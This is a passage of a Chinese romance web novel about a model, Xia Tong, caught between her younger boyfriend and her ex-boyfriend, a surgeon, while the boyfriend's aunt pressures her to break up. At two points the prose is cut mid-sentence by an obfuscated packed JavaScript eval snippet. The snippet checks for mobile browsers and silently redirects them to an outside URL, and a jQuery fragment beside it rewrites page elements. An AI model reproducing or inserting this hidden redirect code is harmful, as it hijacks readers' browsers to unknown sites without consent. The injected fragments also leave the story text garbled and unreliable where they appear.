杜静兰不搭理这茬,揉着胶布的脑袋,给胶布爽得直接失去表情管理:“我看你刚才见了他也挺惊讶,怎么,是他自己要留下来的,你不知道?” 夏曈心说:我就知道您是这个态度了,还能把他带到您面前吗? 她心里憋着气,但还是维护谢桁:“我知道,就是专门等着介绍给您呢,今天就算是一次不正式的见面吧。” “噢,所以妈给你安排那相亲,你才铁了心的不去,原来这边有个男朋友了。”杜静兰叹道,“你早说啊,妈又不能强迫你跟谁结婚。” 夏曈顺势问:“那您觉得他怎么样?” 杜静兰笑笑,没说话。 以她的眼光来看,当然是年轻、幼稚,不足以托付一生。 杜静兰自认为,真不是她对年龄有歧视,差那么多岁,大概率以后要出现问题的。 以前他们大院里也有谈姐弟恋的,不都是刚结婚那会儿如胶似漆,婚后出现各种问题。男方幼稚、逃避、缺乏责任心,觉得女方年龄大,就什么都该让女方负责,自己躲在后面当弟弟,一副长不大的废物样子。 能最终获得幸福的,有。但婚姻不是赌局,她可不想让女儿去赌这么一个可能性。 夏曈看着杜女士的表情,就知道她又把思维发散到结婚生子那里去了。 老一辈观念如此,恋爱就必须结婚,结婚就必须生子,否则就是不孝。她也懒得再说什么,随他们去想。 不多时,谢桁出来奉茶,杜静兰微笑接过,随口问道:“跟曈曈怎么认识的呢?” 谢桁把当初追求夏曈过程简单说了遍,杜静兰很客气地笑道:“那你们蛮有缘分的。” 杜静兰明显对他本人的兴趣不大,话题很快转向她膝上的胶布,两人交流起育猫心得,气氛不是很热,但总算没冷场。 这时门铃响起,杜静兰抬头:“是不是你菲菲阿姨来了?” 夏曈:“我去开门。” 谢桁也笑着起身:“那我就不打扰了,阿姨。” “别走呀,”杜静兰出言挽留,“不忙就留下来一起吃晚饭吧?” “不了,阿姨,谢谢您的好意,我家里还有些事,改天再专程来看望您。”谢桁看向夏曈,眼睛弯弯,“曈曈。” 夏曈搁下茶杯:“我送你。” 杜静兰微笑送客:“那你回去路上慢点啊,改天有时间咱们再见面。” 谢桁笑着答应。 两人换好衣服,夏曈开门。 沈湛明和苑菲菲站在门外,手中各自提着大兜食材,汤圆紧随其后,仰着脸冲夏曈摇尾巴。 苑菲菲柔声道:“曈曈晚上想吃什么好吃的呀,让湛明给你做……” 沈湛明的视线几乎是瞬间落在了谢桁脸上。 隔着两人的距离,谢桁亦静静凝视他,唇畔笑意不变,唯目光带着冷意。 苑菲菲此时也瞧见了夏曈身后不远处的谢桁,“哟,这位是……” 谢桁收回视线,露出他标志性的乖巧笑容:“阿姨您好,我是曈曈的男朋友。” 苑菲菲睁大眼:“男朋友?” 夏曈微笑点头,看向沈湛明,他的视线仍落在谢桁脸上,眸光沉静,堪称冰冷,金属镜框的光芒为他整个人更添几分尖锐气质。 “好巧啊,沈医生。”谢桁打招呼,“原来你和曈曈早就认识吗?” 苑菲菲挑眉:“你们也认识?” 谢桁笑说:“是啊,我小姨前段时间骨折,是沈医生给做的手术。” 沈湛明没说话。 夏曈实在受不了这气氛,拉着谢桁出门:“我先送他回去,你们快进屋吧菲菲阿姨,外面冷。” 她经过沈湛明的身边,能察觉到他的目光落在她面上,冷如寒冰,却也只得装作没察觉。 屋门在身后关闭,走廊里仅剩夏曈和谢桁两个人。 夏曈心里松了一口气。她实在不擅长应付这种场面。 谢桁按下电梯,观察着夏曈的脸色,小声问:“姐姐,你生气了吗?” 生气倒不至于。 夏曈深吸一口气,抬头看他,眼里流露出无奈,“你想干嘛呢,宝宝。” 还肯叫他宝宝,那就没有那么糟糕。谢桁先低头服软:“我心里想的什么,姐姐都知道。” 两人走进电梯,夏曈轻声叹息:“我不知道。” “骗人,”身处封闭空间内,谢桁便俯身抱住她轻晃,讨好意味明显,“姐姐什么都知道,却装作不知道。姐姐最会敷衍人了。” 夏曈任由他抱在怀里,黏腻亲吻如雨点落在她脸颊:“我敷衍你什么?” “你不承认我,不跟叔叔阿姨说我的存在。”谢桁很不满,“就连在社交网络上,姐姐还说自己是单身。你为什么不说你已经有男朋友了?” 夏曈一怔,脑海里划过某些不堪入目的咒骂,她闭了闭眼,将那段回忆驱逐脑海,淡声道:“我不喜欢跟陌生人分享自己的私生活。” “可是那个沈医生的同事,倒是对姐姐以前的恋爱细节记忆犹新啊。”谢桁轻哼声,“姐姐区别对待。” 夏曈心里叹气,她就知道得出事。 “所以今天在我家上演这出,是因为吃醋?”她伸手摸摸他的脸,“嗯?” 谢桁不悦道:“才不是吃醋,那个沈医生对我来说根本构不成威胁,我只是想把我们之间的关系更进一步。” “关系是更进一步,这下不仅我妈、连菲菲阿姨都知道了你的存在。他们现在一定很惊讶。” 夏曈笑道:“说不定正在追问沈湛明关于你的事。” 谢桁小声嘟囔:“我是你男朋友,阿姨们对我好奇,那不是很应该的么?” 夏曈稍有无奈:“你打了个措手不及,换谁都会惊讶的。” 暮色四合,小区里的路灯渐次亮起,晚风吹动枯枝,萧瑟声声。 夏曈牵着他的手走在幽静的石子径,听他仍旧小声试探,“姐姐,虽然今晚我没有留在那里吃晚饭,但迟早有天我会上桌的。” 声音虽轻,但语气坚定,仿佛他的目标是无上荣光。 事实却仅是她家餐桌的一个席位。 “一定要争这个位置吗?”夏曈有些不解,“我们的关系就停留在此,不行吗?” 枯枝轻晃,幽幽的影子投映在他的侧脸,谢桁默了瞬,“我们家的餐桌上永远会有你的位置,我也只是想在你的家庭里争取到一个相应的对待而已。” 他盯着她看了一会儿,语气很平淡,却含着一种莫名的委屈:“姐姐,你在暗示我贪心,可是我要的很多吗?” 夏曈否认:“我没有这么说。” “可你的眼神告诉我,你就是这么想的。” 谢桁低头看她,眼睛如清水般澄亮,“姐姐,你很怕麻烦,不愿意参与我家的任何事情,甚至连我的家人都疏于交际,你想让我们之间的关系止步于此——反正恋爱只是两个人的事,到时你对我腻了,随时可以甩掉我,而不必对我负任何责任,对吗?” 夏曈摇头,想在木椅坐一会儿,被谢桁揽着坐在了他的腿上。 谢桁以一种禁锢的姿势抱着她,轻轻的吻落在她的额头,又亲了一下鼻尖,又贴着她柔软的脸颊,最后吻到她的唇时,才听到夏曈轻声开口。 “恋爱一直都是两个人的事情,结婚也可以只是两个人的事情,我们有自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469380|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的小家,过自己的生活,这就够了。这些话在咱们刚确认关系的时候,就已经达成共识,为什么现在又露出这种委屈的表情呢?” 话音落下,谢桁的身体很明显僵硬了下。 他烦躁低头,眉头拧紧,呼吸急促,似乎是在强行压抑着某种情绪。他沉默了几秒,压低声音:“因为那时我并不知道他就是你的前男友!” 夏曈一怔。 谢桁盯着她:“我偶尔是会吃醋,可如果你的前男友是别人,我并不会说什么,因为我了解你,你性格果断,绝对不会和前任再产生联系。可那个沈医生……他和别人不一样!他舍得放下你吗?” 他抬手捏住夏曈的脸颊肉,指腹粗粝带着温度。借着不甚明亮的路灯,夏曈看到他的眼眶似乎微红,棕色的眼珠也蒙着层水色,仿佛是委屈得不行。 谢桁越说越恼,不知想到什么,给自己气得咬牙:“姐姐,你也想一想,你们之间除了是前任还存在什么关系?青梅竹马?哥哥妹妹?你们就算分手了,不还得见面吗?像今天这种情况以后还要出现多少次!我怎么防?他嘴上光明磊落得很,可心里能放得下你吗?谁能保证他以后不会再勾引你?反正你们是住在同一层的邻居,他如果真的敢当小三,我该怎么办?我又能怎么办啊?” 夏曈没料到他的反应这么大,伸手轻轻抚弄他的耳垂肉,安抚道:“不会有那种情况发生。” “是吗?这谁能说得准呢?当初你们恋爱时,有想过会分手吗?” 夏曈动作一顿。 说到这里,谢桁忽地笑了,“你是没注意到他刚才看我的眼神有多凶,恨不得把我绑起来大卸八块。是啊,他沈医生医术精湛,可不就擅长拿刀子剖开人的胸腔肺腑么,说不定哪天就把我抓起来当大体老师去了。” 夏曈眉心轻蹙:“越说越离谱了。” 谢桁:“我认真的。” 夏曈无奈:“他不会这么做。” 谢桁气得要死:“你还替他说话?!” “……” 夏曈和他讲道理:“他对你再凶,也不至于杀了你吧。” 谢桁语气里带着恶意:“我怎么知道!” “……行了,不要再胡思乱想了。”夏曈偏头亲亲他的掌心,“可以不要再掐我的脸了吗,有点痛。” 谢桁本来还在气头上,听见这话,立刻放松了力道。 见她皙白脸颊上竟留了红色指印,他虽心有歉疚,但心里旺盛,此刻也不肯认错,只低声道:“我没使力气啊,我以前掐姐姐的腰时,就是这么用力的,姐姐也没说痛。” 夏曈揉揉脸:“床上痛点倒没什么。” “那我以后不这么捏姐姐的脸了。” 谢桁忽地发现话题已被她带偏,立刻严肃道,“我还在生气!” 夏曈转移话题失败,叹息道:“那怎么办呢?你也看到了,我妈妈和菲菲阿姨是好朋友,我和沈湛明平时当然不见面,可只要家庭聚餐,我们就不得不在一张桌上吃饭。这不是我能改变的,宝宝。” 谢桁蹭蹭她的脸,又小狗磨牙似的咬她手指,小声道:“那你能保证自己不变心吗?不管他做什么。” 他的话语有些含混不清,像是也知道自己无理取闹,但仗着夏曈的宠爱,他可以胆大、可以胡闹,可以提出一些幼稚的要求。 闹到现在,夏曈已经有点疲于应付。 她弯眸扯起笑,低头吻他唇,“当然可以啦,你还不相信我么?” 谢桁理直气壮:“是姐姐你没有给我足够的安全感!” “好好好,”夏曈举手投降,“以后除了我的男朋友,我不跟任何男性讲话,好不好?” 谢桁抓住她的手:“那也不必,搞得好像我有多么小肚鸡肠。” 你还没有么? 夏曈凝视他轻笑。谢桁顿觉被轻视,神情流露出不满,大掌按住她后脑,用力吻住。 夏曈只来得及“唔”了声,唇舌便被凶猛掠夺。 男人的臂力极强,一手掐住她的后腰,一手按住她的后脑,完全挣脱不得。 这个吻携带着怒火,凶狠得仿佛要将人吞噬进肚子里。夏曈的舌尖很快发麻,旋即泛出被用力搅弄的微痛,她后知后觉尝到谢桁唇腔里的茶水味,是清新甘甜的茉莉香。 晚风吹动头顶的枯藤,发出萧索的沙沙声。 这个吻持续了很久才结束。 被放开时,夏曈的气息都乱了,脑袋靠在他颈窝里平复良久,才终于回过神来。 撑着他的胸膛直起身,夏曈摸了摸被吻得发红的唇,恼得在谢桁身上捶了一下,“亲这么用力,待会我怎么回去?” 谢桁却并未开口,同样殷红的唇轻勾着,望向她身后。 他的眼睛很亮,此刻正在笑,唇角勾起一抹堪称挑衅的弧度。 夏曈顿觉心跳漏了一拍,回头望去。 不远处的梧桐树下站着一人,正静静地凝视他们。 是沈湛明。 18. 第 18 章 一阵冷风刮过,夏曈脸颊的热度立刻下去不少。 她怔怔地看向沈湛明,对方不闪不避,迈开长腿直直冲他们走了过来。 ……停停停! 正常人偶遇情侣亲亲,不该自觉点回避吗? 沈湛明要干吗?! 夏曈挣扎着就要从谢桁怀里起来,却被抱得更紧。 沈湛明站在他们三步远的位置。 萧索疏朗的枝干伸展在半空,幽幽的树影投在他轮廓分明的脸。 夏曈放弃挣扎。 谢桁顶着那张明显刚刚亲吻过的脸,唇上还有湿润水色,微笑道:“沈医生,有什么事吗?” 好像被抓奸的小三,还敢仗着女人的喜欢,光明正大挑衅正宫。 沈湛明不冷不热看他一眼,理都没理。 他目光落在夏曈脸上,淡声道:“阿姨看你很久不上楼,让我来找找你。” 夏曈擦去唇上的水色,有些疑惑:“噢。” 她也没耽误很久吧? 杜静兰什么时候管这么多了?连她在外面玩多久都要干涉? 有点莫名其妙。 这就不像杜静兰会做的事。 倒是沈湛明总爱这么管着她,夏曈以前还评价他是老古板,她亲妈都不约束她,沈湛明却热衷于给她当妈。 夏曈思绪漫漫,不经意抬头,就见沈湛明的目光落在了……紧搂着她腰的手臂上。 谢桁的手臂,紧紧揽着她,右掌心还习惯性贴在她的腹部。 沈湛明看向那里,目光很淡。 夏曈却知道,他表情越平静,心里怒火就越盛。 她顿觉如坐针毡,使劲挣扎两下。 谢桁终于肯松开手。 夏曈起身站好,整理被揉乱的毛衣和外套。 谢桁一句话都没跟沈湛明说,只跟夏曈低声说了悄悄话,又故意当着沈湛明的面,在她脸上亲了下,才微笑着离开。 夏曈真的很心累。 待谢桁走后,她走到沈湛明身前,嘟囔道:“也不至于下来找啊,我还能丢了不成?” 又被他看到这种场面,饶是夏曈心大,也经不起总是遭受这种刺激。 她始终认为情侣之间的事,就该在私人场合做。 不管别人怎么想,她反正不习惯在别人面前贴贴亲亲。 也幸好沈湛明沉默寡言,不做起哄这种无聊的事。在谢桁拉着她腻歪时,他的眸光始终沉静,看不出半点情绪。 他从兜里取出她的手机,递过去:“下次别忘了带。” “……”夏曈接过来,“噢。” 出来得太急,居然把手机忘家了。 夏曈清清嗓子,自觉和沈湛明也没什么好说的,抬腿就要往家走。 沈湛明却没动。 夏曈疑惑看他。 路灯昏昧的光影投在沈湛明的脸上,他目不转睛地盯着她,“你的男朋友好像生气了。” “……没事,”夏曈头痛,“已经哄好了。” “怎么哄的?”沈湛明淡问。 “……” 你连这个也要问吗? 夏曈揉揉眉心:“湛明哥。” 她都叫哥了,他能摆清自己的位置,不要再越界了吗? 没曾想,沈湛明看了她一会儿,忽地淡声:“夏曈,你也会哄人啊。” 话语里带着戏谑的意味。 夏曈动作一顿。 沈湛明勾唇淡笑,眸光却冰冷,“以前娇气得只肯说‘亲亲’的人,现在也能说些长篇大论,去哄男朋友了是吗?” 夏曈看着他:“你在说什么?” “你这么娇气,半句不好听的话都听不得,一点就炸,以前和我吵架时也一定要分个高低。” 沈湛明迎着她的目光:“这么坏的脾气,我曾经以为你会一辈子任性不讲理,原来你竟会对别人妥协,对别人无底线的纵容吗,曈曈?你是这样的人吗?” 夏曈脸上笑容彻底消失:“沈湛明!” 沈湛明沉默片刻,眼中闪过冷光。 他忽地上前,高大的身影遮住路灯光芒,将她笼罩在内。夏曈只觉眼前一暗,随后沈湛明倾身,指腹按在她柔软水润的唇,用力按抹。 他从未如此凶狠地对待她,仿佛泄愤一般,要把她唇上沾染的、属于别人的痕迹全部擦干净。 夏曈猝不及防,痛得轻“啊”声,嘴巴微张,沈湛明的手指趁势探入她的唇腔,指腹按在她的牙齿。 他抿唇,一双眼逆着光,冰冷深邃,仿佛努力克制着某种继续深入的冲动。 在这晃神的瞬间,夏曈使出浑身力气,将他推开。 “沈湛明,你是不是疯了!” 沈湛明半敛眸,静静看着她。 她气红了脸:“我有男朋友!你知道你在做什么吗?” “知道,”沈湛明迎着她愤怒的目光,“那你知道你的男朋友马上要出国了吗?” 夏曈愣了下,“什么?” “你的男朋友什么都没告诉你吗?”沈湛明淡声问,故意加重了“男朋友”三个字,“看来他也不是对你全然坦诚。” 他的手垂在身侧,指腹仍残留她唇齿的湿润。 夏曈的第一反应是怀疑,但想到谢桁小姨还在住院,闲时也许会和沈湛明聊到这些,不由相信了这个说法。 她的唇还有点痛,皱眉不悦:“他可能太忙了,没来得及告诉我。” “但愿是这样,”沈湛明语气平淡,“不过告诉你又能怎么样?” 无非两种结果,分手,或者夏曈在国内等他。 夏曈的一切都在S市和葳市,她是不会轻易抛弃父母跑去国外的。 更何况,她已经经历过一次跨国恋。 和沈湛明。 不怎么愉快。 她很需要陪伴,他那时太爱她。所以两人即便相隔万里,沈湛明忙得三天只能睡十个小时,也会硬挤出时间,搭上飞来她所在城市的航班,只为了陪她吃一顿晚餐,过一个夜晚。 夏曈很讨厌异地恋,但因为那是沈湛明,她坚持了下来。 现在,谢桁在她心里的位置,比得上那时的沈湛明吗? 夏曈从不提前焦虑,她只问:“你跟我说这些干吗?” 不会是听说谢桁要走了,这人觉得他们会分手,所以心里高兴吧? 沈湛明不否认,他甚至直接说:“现在分手是好事,以你们的相处方式来说,拖得越久,对你的消耗越大。” 夏曈抿唇瞪他:“你就巴不得我们分手是吗?” 沈湛明挑眉,任由她眸中愤怒的火焰燃烧:“是啊。” 夏曈气得扭 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杜静兰吓了一跳,又见她好好的,刚落座的沈湛明手腕上倒是有个明显的泛红牙印,她顿时了然,神情无奈地出声责备,“老是跟你湛明哥吵什么?属狗的啊,还咬人?” 苑菲菲给夏曈夹菜,“看给我们曈曈气的,是不是沈湛明又说什么话惹到你了?” 沈湛明表情平静,反正俩人一吵架,苑菲菲都说是他的错。 他早就习惯了。 “没有,菲菲阿姨,”夏曈不想在餐桌上提这个,拿起筷子,弯眸笑道,“我们闹着玩的,没什么。” 苑菲菲与杜静兰对视一眼,“没事儿就好,啊。” 夏曈笑得乖巧,夹起一块排骨放在沈湛明碗里,甜甜道:“我跟湛明哥要做一辈子的好兄妹啊,才不会有事呢。” 沈湛明没动筷,转头静静看着她。 夏曈眨眨眼:“是不是啊,湛明哥?” 两人目光相对,沈湛明淡声道:“你非要这么叫,我也不反对。” 她本来也喜欢叫他哥哥。 夏曈脸上笑意一僵,低头吃饭,不搭理他了。 苑菲菲眼珠微动,视线在两人之间来回,唇边带着微妙的笑意。 杜静兰低头喂胶布,闻言略觉奇怪地看他们一眼,出声道:“夏曈,你差不多得了啊,吃饭呢老是打什么哑谜?我跟你菲菲阿姨都听不懂。” 实则不然,苑菲菲听得可懂了。 只是老闺蜜心思迟钝,愣是没觉得这俩人在闹别扭。沈湛明又叮嘱过她要保守秘密,曈曈不想让爸妈知道这事,她才憋了这么久。 此时饭桌上四人,只有杜静兰被蒙在鼓里。 “怎么又是我不好了?你这个当妈的怎么看自己女儿这么不顺眼,” 夏曈哼唧着歪在杜静兰身上,差点没把她手里的筷子碰掉,被她嫌弃地推开,又看向苑菲菲,开始卖惨,“我好可怜啊,菲菲公主。” 杜静兰笑着斥责:“去!菲菲公主是你个小孩子能随便叫的?” 苑菲菲一脸慈爱地摸摸她的头:“曈曈以后跟阿姨过吧。” 杜静兰忙不迭道:“快把她领走。” 夏曈:“好呀,那以后沈湛明就是我的亲哥哥啦。” 沈湛明淡声拒绝她的好意:“谢谢,但我不需要亲妹妹。” 19. 第 19 章 沈湛明小时候,是被当女儿养的。 苑菲菲年轻时想要女儿,因为女儿能跟她一起穿小裙子上街玩。结果就生了他,听说苑菲菲那天直接气得泪洒医院,连他长什么样都不想看。 沈湛明小时候并不被妈妈喜欢,沈教授忙得不着家,家里空荡又安静。他从小就学会自娱自乐,逐渐养成了沉默寡言的性格。 当家属院里其他小孩扎堆玩耍时,他在书房里静静翻看图画书。 后来沈湛明稍微长开,成为一枚唇红齿白的清秀小孩,也越发像苑菲菲。苑菲菲这才意识到,沈湛明是她身上掉下来的骨肉。 一种奇异的情绪充盈了她的内心。苑菲菲在诞下沈湛明的第三年,萌发了母爱。 然后,她把压箱底的碎花蓬蓬裙翻出来,给沈湛明当做三周岁生日礼物,并一脸欢喜地叫来闺蜜杜静兰:兰兰快看!他是不是很适合穿裙子! 杜静兰脱口而出:天哪,一个缩小版的菲菲公主! 沈湛明被苑菲菲抱在怀里,偷偷闻着妈妈身上陌生却好闻的香味,觉得从此当个女孩也不错。 但这个梦想,在短短半年后就破碎。 因为夏曈出生了。 任性的菲菲公主有了更中意的孩子。 苑菲菲终于不再沉迷于打扮沈湛明,转而成天往楼上杜静兰家里跑,把夏曈看成自己亲女儿,还要夏曈叫她妈妈。 夏曈会喊妈妈的那天,慷慨地对在场所有人都喊了一遍。 所、有、人。 杜静兰神情惊讶:你还会说话呢?! 苑菲菲喜极而泣:好乖乖,妈妈就知道你是最聪明的!真棒! 沈湛明面露难色。 - 夏曈去医院看望谢桁小姨的路上,顺手整理手机相册,竟还翻出了沈湛明小时候穿公主裙的照片。 照片是苑菲菲拍的,像素很低,却无法模糊沈湛明的清秀眉眼。夏曈当时在沈湛明家里找他的物理笔记,就瞧见了被压在书柜底的旧相册。 她当时还玩笑般问过沈湛明:菲菲阿姨那会儿特别疼我,你会不会吃醋呀? 沈湛明想也没想:会,但后来就忘了。 她没明白:啊?这怎么还会忘呢?没见过有人能忘记吃醋的。 沈湛明语气平静地说了一句足以让她脸红心跳的话:因为我也想和你待在一起,所以能理解我妈的心情。 后来两人分手,夏曈删掉了关于沈湛明的一切,唯独留下这张。 她也说不清是为什么。 也许这张照片是沈湛明作为“哥哥”的身份象征,是他们青梅竹马的证明,所以无害。 夏曈关闭相册,也将思绪驱逐脑海。 谢桁发来消息。 LOVE:【姐姐,你到哪里了?】 LOVE:【我在门口的银杏树下等你哦。】 夏曈看了眼路况:【有点堵车,十分钟差不多能到。】 LOVE:【好。】 谢桁的小姨谢文乔骨折住院,养伤期间闲极无聊,招呼着让人去医院陪她说话。前段时间都是谢家小辈和公司下属探望,这日不知怎的,非要夏曈过去。 夏曈的确不想和谢桁的家人产生过多瓜葛,但谢文乔在工作上帮过她一次。虽说对谢文乔这种社会地位足够高的人,帮她不过是一句话的事,但夏曈心怀感恩,于情于理,她都应该过去探望。 夏曈下了车,跟谢桁一起走进谢文乔所在的病房,态度恭敬地打了招呼。 两名助理见状出门去,怀里还抱着不少文件。 而谢文乔轻揉眉心,神情疲倦。 看来霸总就算在病中也推辞不掉这些工作。 谢桁将她精心挑选的花束放在床头,谢文乔眼神温和,面带微笑地望着她。 夏曈记忆中的谢文乔还是精明干练、意气风发的形象,如今再见,发现这场意外真是让她憔悴不少,发丝都泛了白。 谢文乔微笑道:“伤筋动骨一百天,公司的事情又离不开我,这段时间精力耗费多,就老成这样子了。” 夏曈忙说:“您别多想,好好休息,身体舒服比什么都重要。我们小辈只希望您能健健康康的。” 谢文乔笑笑,示意她在病床边坐下,又吩咐谢桁,“小桁你出去,让我和曈曈说会儿话。” 谢桁怔了瞬:“有什么话连我都不能听啊?” 夏曈也疑惑,谢文乔今天非要她来这里,到底能为了什么事,还不许谢桁在场? 谢文乔温声道:“我要和曈曈说些女人之间的话题,这你也要听吗?” 谢桁脸露不满,又不放心地补充道:“小姨,你可不要跟曈曈说些过分的话。” 谢文乔轻笑:“我有那么坏吗?” 谢桁放心不下夏曈,夏曈唇角挂着笑,心里已经有预感,安抚他道:“你先出去吧,我待会去找你。” 谢桁这才不情愿地出了门。 屋内只剩下谢文乔和夏曈两个人。 谢文乔的眼神略有疲倦,但在病房顶灯的映照下依旧流淌着温和的光芒,她微笑看夏曈,“当初阿姨第一次见你,就知道你一定能闯出一番事业来。” 连“小姨”都不许她叫了。 夏曈手中端着杯热茶,“阿姨,您有什么话想跟我说呢?” “不过是聊些家常话,曈曈,你也不要多想,咱们好久没见了,不是吗?阿姨知道你工作很忙,你的职业,阿姨平时也有接触,多少了解一些。” 谢文乔静静打量她,眼神温和里带着怜悯,轻声道:“这份工作毕竟需要抛头露面,时刻暴露在聚光灯下,任由观众与消费者评判,也很辛苦吧?” 夏曈捉摸不透她的心思,轻笑:“世界上有什么工作是好做的呢?谁赚钱容易?我既然选择了这个行业,能靠双手养活自己,就很满足了,谈不上辛苦不辛苦的。” “你这么小的年纪就能有这种乐观的心态,阿姨很欣赏,尤其是在你经历过那种事的情况下。” 谢文乔看向她,“因为你知道,有些年轻人是很脆弱的,一点小小的恶意就足以让她心态崩溃。而你不一样,曈曈,你在经历过那种大规模网络暴力的情况后,还能有足够的勇气站起来,从头开始,阿姨发自内心地认为你是个具备顽强生命力的人。” “你头脑聪明,学历高,有非常强的事业心。就算不从事这行,在你本身的专业领域也能做出非常优秀的成绩。家庭、爱情,这些东西,都不能束缚你。” 谢文乔说到这里,仿佛想起什么似的:“当然,阿姨记得,当时你能让那些人偃旗息鼓,也离不开你那位男朋友的帮助和鼓励吧?如果阿姨没记错的话,他好像是位医生,姓沈,对不对?巧了,这边的主刀医生也姓沈呢。” 夏曈心里已经有了预感,她能猜到谢文乔的最终目的,却琢磨不透谢文乔每句话里蕴含的意味。 她忽然觉得累,只是捧着茶杯微笑,承认道:“确实巧,阿姨,沈医生就是我当时的男朋友。我也确实感谢他那时给予我的帮助和鼓励,没有他,我可能真的走不出来。” “这样吗?沈医生看起来也是个很好的人,你们应该相处很愉快才是,怎么会分手?”谢文乔很快又说,“算了,这都是你们年轻人的事情,阿姨不问。” 谢文乔适当地沉默了一会儿,留给她平缓心态的时间,又道:“小桁下个月出国,这件事他告诉你了吗?” “还没有。”夏曈低垂眼睫,已经笑不出来。 谢文乔点头,温言细语道:“在我们家年轻一辈里,谢桁最受期望的。谢榆性格优柔寡断,谢涵乐太小,其他子辈的人没一个能顶上的,要么懦弱窝囊,要么被爸妈惯着,染了一身的纨绔气,不堪重用。闹了这么些年,竟是一个像样的接班人都没培养出来,公司里的事儿到现在都是我和二姐顶着。” 夏曈对这些事保持沉默,指腹轻轻摩挲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢文乔握住她的手,“不过你放心,阿姨不会亏待你。从今以后,只要你愿意,岚乔资本和你的代言合约可以随便签,并且无限延期,我会给你不输于谢家子弟的待遇。只要我活着,没人敢在你面前说一个不字。” 她是真的很喜欢夏曈,可也必须舍弃夏曈。谢桁名义上的妻子,不能是一个被口诛笔伐过的、毫无权势地位的普通人。 谈恋爱玩玩可以,如果结婚,谢桁必须服从她们的安排。 谢文乔也可以不说今天这番话。 即便谢桁有了名义上的妻子,夏曈也能做谢桁养在外面的情人。两人在小家恩恩爱爱,依旧能携手一生。 但谢文乔知道,这小姑娘虽出身低,也是被家里宠惯着的,心高气傲,断不会接受那种结果。 “谢谢阿姨的好意,合约就不必了,我不签岚乔也不会饿死。” 谢文乔一怔。 岚乔资本的代言对她们这些广告模特来说,已经是天穹顶级别的资源了,甚至有些当红小花小生都争抢不到。 夏曈在模特行业还没混到头部,却敢当场拒绝。 要知道,哪怕是支线品牌的一次合作,就足够她从此身价翻倍。 夏曈放下已经变凉的茶水,“您今天说过的话,我回去会好好考虑,也会和谢桁认真谈一谈。那就这样吧,阿姨您养好身体,早日康复,再见。” 她抽回那只被谢文乔握住的手,起身告辞,离开病房。 谢文乔看着她头也不回离去的背影,很难得地愣住。 那姑娘的腰背挺得笔直,脖颈纤长,下巴永远轻轻扬着,一部分因素固然来自于她身为模特的优秀体态,但谢文乔认为,这也源自她本身的性格底色,骄傲,清高,眼里容不得沙子,不肯受半点委屈。 她是宁肯斩断一切,也不会委曲求全的人。 手心里似乎还停留着小姑娘手心的温度,温热的、细腻的,充满年轻朝气的触感。 谢文乔扭头看向窗外,无声叹了口气。 20. 第 20 章 之后几天,虽说谢桁表现得急躁又不安,反复向她保证绝不会听从家里安排,但夏曈心态平静,仿佛那些对话都不曾有过,甚至安抚他一切以事业为重。 她不怨恨谢文乔,也不会因那些话而迁怒她。立场不同,行事动机亦有所不同,站在她们的位置,夏曈也许会做出同样的选择。 她的心里甚至对谢清岚和谢文乔这两个女人充满了敬佩,能在岚乔资本里拼杀到这种位置,冷静、果决与狠心,缺一不可。 但谢桁并不这么想。 他这几天不停给夏曈打电话,发消息。夏曈每天早晨醒来都能看到十几条未读,谢桁似乎在为了她与家人对峙,夏曈不愿他这样与家人关系闹僵,无奈劝了几句,仍坚持把指纹锁里谢桁的指纹删掉。 一周后,她约谢桁见面,并正式提出分手。 这一次她没有顾及他的委屈与愤怒,也没有像以往那样,被他的眼泪搅乱理智。 即使同样不舍,夏曈也拼尽了力气挣脱谢桁的怀抱。 从爱情里抽身的人都会像她一样,迅速变得冷静而无情吗? 夏曈不知道。 夏曈没有再找过他,若无其事忙自己的工作。 说不难过是假的。 她和谢桁在一起总共不过半年,彼此感情正浓厚,还未等到情感冷却的时候,就被迫戛然而止。 她对此没有半点心理准备,但尚且不至于为了一段感情要死要活。 没有爱情她仍能生存。但失去经济来源,对于要强的夏曈而言,与死了也没什么两样。 也是到了年底,她的工作行程安排得很满,夏曈忽然接到许多酬金丰厚的商单,赶往全国各地进行拍摄。 她存了个心眼,结果发现这些金主们背后的大资本全部都有岚乔资本的参与。 这算什么呢,分手费? 夏曈没有谢文乔的任何联系方式,但是在某次结束工作、路过岚乔大厦的时候,她见到了刚从车里出来的谢文乔。 谢文乔的脸色仍有些憔悴,但训斥下属的气势丝毫未变,墨镜将那张脸遮住一半,却遮不住她周身的凌厉。 她见到夏曈先是一愣,随后才勾唇,温和而疏离地冲她点头。 夏曈走上前去,微笑说:“谢谢阿姨。” 谢文乔没答,踩着高跟鞋快步进了大楼,几名保镖稍有疑惑地看她一眼。夏曈无辜眨眼,裹紧围巾,转身走入漫天的飘雪中。 她打车回家,到小区的时候已经傍晚。 雪仍在下,地面积雪被路灯光芒映照得晶亮璀璨,她深吸一口气,整个肺腑都清凉。 小皮靴踩在松软的雪面发出轻响,到楼下的时候,夏曈抬头看了眼。 6层。 她的家一片黑暗,而沈湛明的家里灯火通明,窗帘敞开,隐约能看到客厅里的顶灯,胶布蹲在玻璃窗边,一只猫猫脑袋圆润而可爱。 夏曈抿唇轻笑。 她这段时间出差太多,基本没在S市待过,胶布便拜托沈湛明代为看顾。 沈湛明虽工作忙,但至少能每天回家。何况他家里还有汤圆这只聪明边牧,汤圆当初甚至能照顾夏曈,还对付不了胶布么? 出了电梯,还未按锁,对面沈湛明家的房门忽然开启,汤圆欢快地奔过来,一个劲儿地往她身上扑。 